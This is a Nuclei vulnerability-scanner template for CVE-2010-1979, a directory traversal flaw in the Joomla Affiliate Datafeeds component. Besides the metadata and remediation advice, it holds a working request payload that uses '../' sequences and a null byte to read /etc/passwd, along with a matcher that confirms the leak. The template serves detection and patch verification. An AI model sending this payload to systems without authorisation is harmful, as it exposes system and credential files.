id: CVE-2010-1979

info:
  name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1979
    - http://www.exploit-db.com/exploits/12088
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57570
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1979
    cwe-id: CWE-22
    epss-score: 0.00826
    epss-percentile: 0.81565
    cpe: cpe:2.3:a:affiliatefeeds:com_datafeeds:build_880:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: affiliatefeeds
    product: com_datafeeds
  tags: cve,cve2010,edb,joomla,lfi,affiliatefeeds

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 480a00453043021f4fb71b63c3bd17e13086007edddf0deeb7717685fefb075a4fd05cc9745216022078dacb5768e7279c9408bceebe738d0d2ec037568513077d54f5acd5353b1920:922c64590222798bb761d5b6d8e72950